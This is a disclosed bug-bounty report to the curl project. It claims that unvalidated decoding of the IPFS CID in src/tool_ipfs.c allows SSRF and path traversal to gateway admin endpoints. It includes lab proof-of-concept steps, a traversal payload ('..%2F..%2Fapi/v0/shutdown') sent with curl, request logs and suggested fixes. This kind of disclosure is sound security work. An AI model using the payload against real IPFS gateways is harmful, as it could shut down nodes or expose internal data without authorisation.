HexBrain

curl · Report #3366484

Unsanitized IPFS CID Allows SSRF Against Configured Gateway

N/Astatus
mediumseverity
34upvotes
3 Oct 2025disclosed

How it was found

Summary:

ipfs_url_rewrite() (in src/tool_ipfs.c) decodes the host component (CID) of ipfs:// / ipns:// URLs using CURLU_URLDECODE and then concatenates that decoded value directly into the gateway path (aprintf("%s%s/%s%s", ...)) without normalization or validation. A crafted host value (for example ..%2F..%2Fapi/v0/shutdown) decodes to ../../api/v0/shutdown. When appended and the gateway or reverse-proxy later normalizes dot-segments, the request escapes /ipfs/... and hits privileged internal endpoints such as /api/v0/shutdown, /api/v0/config or /api/v0/id.

This is a Server-Side Request Forgery (SSRF) + Path Traversal in the IPFS URL rewrite logic that allows an attacker, by delivering a single malicious ipfs:// URL to an application that passes that URL to libcurl/curl, to force the victim to call internal gateway admin endpoints.

Statement about AI: I used AI assistance to help structure and draft the report, but the vulnerability, PoC, and all testing were verified manually in a controlled lab environment and the evidence below was generated by manual execution.


Steps To Reproduce:

Files to use (attach these in your submission): admin_api.py — simulated internal gateway/admin (listens 127.0.0.1:5001) vulnerable_proxy.py — victim service that performs the vulnerable rewrite and fetch (listens 0.0.0.0:9000)

  1. Start the simulated internal admin/gateway:

    python3 admin_api.py
    

    The script listens on 127.0.0.1:5001 and prints every incoming request path.

  2. Start the vulnerable service (victim) that proxies/re-writes IPFS URLs:

    export IPFS_GATEWAY="http://127.0.0.1:5001/"
    python3 vulnerable_proxy.py
    

    The script listens on 0.0.0.0:9000. It simulates the vulnerable sequence:

    • decode host (CID) portion of ipfs:// (percent-decoded),
    • concatenate protocol_prefix + "/" + decoded_cid + inputpath into the gateway path (no normalization),
    • perform HTTP GET against the gateway URL produced.
  3. From an attacker-controlled host (or the same machine hitting the victim HTTP API), send the malicious IPFS URL:

    curl "http://127.0.0.1:9000/?target=ipfs://..%2F..%2Fapi/v0/shutdown"
    curl "http://127.0.0.1:9000/?target=ipfs://..%2F..%2Fapi/v0/id"
    

    The victim will rewrite the URL and contact the gateway using a path that normalizes to an internal admin endpoint.

  4. Observe:

    • The internal admin (admin_api.py) logs a request to /api/v0/shutdown or /api/v0/id.
    • The attacker receives the response returned by that internal endpoint via the victim service (exfiltrated content).

Supporting Material/References:

Admin API (Terminal / PowerShell output): {F4846796}

PS C:\User> python .\admin_api.py
Admin API listening on 127.0.0.1:5001
[admin_api] 127.0.0.1:62081 -> /api/v0/shutdown
127.0.0.1 - - [01/Oct/2025 13:24:03] "GET /api/v0/shutdown HTTP/1.1" 200 -
[admin_api] 127.0.0.1:62083 -> /api/v0/shutdown
127.0.0.1 - - [01/Oct/2025 13:24:14] "GET /api/v0/shutdown HTTP/1.1" 200 -
[admin_api] 127.0.0.1:62086 -> /api/v0/id
127.0.0.1 - - [01/Oct/2025 13:24:19] "GET /api/v0/id HTTP/1.1" 200 -

Vulnerable proxy (Terminal / PowerShell output): {F4846794}

PS C:\User> python vulnerable_proxy.py
Vulnerable proxy listening on 0.0.0.0:9000
[vulnerable_proxy] Rewritten gateway URL: http://127.0.0.1:5001/api/v0/shutdown
127.0.0.1 - - [01/Oct/2025 13:24:03] "GET /?target=ipfs://..%2F..%2Fapi/v0/shutdown HTTP/1.1" 200 -
[vulnerable_proxy] Rewritten gateway URL: http://127.0.0.1:5001/api/v0/shutdown
127.0.0.1 - - [01/Oct/2025 13:24:14] "GET /?target=ipfs://..%2F..%2Fapi/v0/shutdown HTTP/1.1" 200 -
[vulnerable_proxy] Rewritten gateway URL: http://127.0.0.1:5001/api/v0/id
127.0.0.1 - - [01/Oct/2025 13:24:19] "GET /?target=ipfs://..%2F..%2Fapi/v0/id HTTP/1.1" 200 -

Attacker response (curl output):

StatusCode        : 200
StatusDescription : OK
Content           : internal-admin-response

RawContent        : HTTP/1.0 200 OK
                    Content-Type: text/plain
                    Date: Wed, 01 Oct 2025 18:24:03 GMT
                    Server: BaseHTTP/0.6 Python/3.10.8

                    internal-admin-response

Code references to include (attach exact lines and commit SHA when you file):

  • curl_url_get(uh, CURLUPART_HOST, &cid, CURLU_URLDECODE); — host decoded without normalization.
  • pathbuffer = aprintf("%s%s/%s%s", gwpath, protocol, cid, inputpath); — unvalidated concatenation.
  • curl_url_set(uh, CURLUPART_PATH, pathbuffer, CURLU_URLENCODE); — encoding that preserves /.

Attach the exact file src/tool_ipfs.c fragment plus the repo commit SHA you used for verification. https://github.com/curl/curl/blob/master/src/tool_ipfs.c#L134


Justification / Arguments: The function decodes the host (CID) and directly concatenates it into the gateway path without validation or normalization, so percent-encoded separators like %2F and dot-segments (..) can become real path delimiters; after proxy/gateway normalization this escapes the /ipfs/ sandbox and reaches internal admin endpoints. The provided PoC is minimal and reproducible and demonstrates an attacker→victim→internal-gateway SSRF that can exfiltrate data or trigger administrative actions, therefore this is a code-level bug requiring a fix.


Suggested mitigations

  1. Do not decode and insert the host (CID) directly into the path. Treat the host portion as an identifier, not as a path segment. Reject any host that contains path separators or dot-segments after decoding.
  2. Validate the CID strictly: accept only syntactically valid CIDs (base32/base58 formats) using a CID parser/validator. Reject any value that contains /, %2F, .., or control characters.
  3. Escape/encode path segments explicitly so that / characters in user-controlled inputs do not become path separators (re-encode %2F as %252F if the intent is to preserve a literal %2F).
  4. Add server-side ACLs / authentication for gateway admin endpoints so that even if a local request reaches them, administrative operations require authorization.
  5. Unit tests / fuzz tests: add tests that assert that inputs like ..%2F..%2Fapi/v0/shutdown do not result in internal admin paths being requested.

Impact

  • Type: SSRF + Path Traversal (CWE-918 + CWE-22)

  • Impact summary: A remote attacker who can supply an ipfs:// or ipns:// URL to an application that forwards or fetches that URL via curl/libcurl can force the application to call arbitrary internal gateway endpoints. This enables:

    • Administrative actions (e.g. /api/v0/shutdown) — potential local denial-of-service (shutdown of node).
    • Reading sensitive internal endpoints (e.g. /api/v0/id) — information disclosure.
    • Potential modification of configuration or other privileged operations where gateway endpoints accept writes.
  • Exploitability: Easy to exploit under the described conditions (an app that accepts external URLs and uses the vulnerable rewrite). The PoC demonstrates remote exploitation via a single malicious URL.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original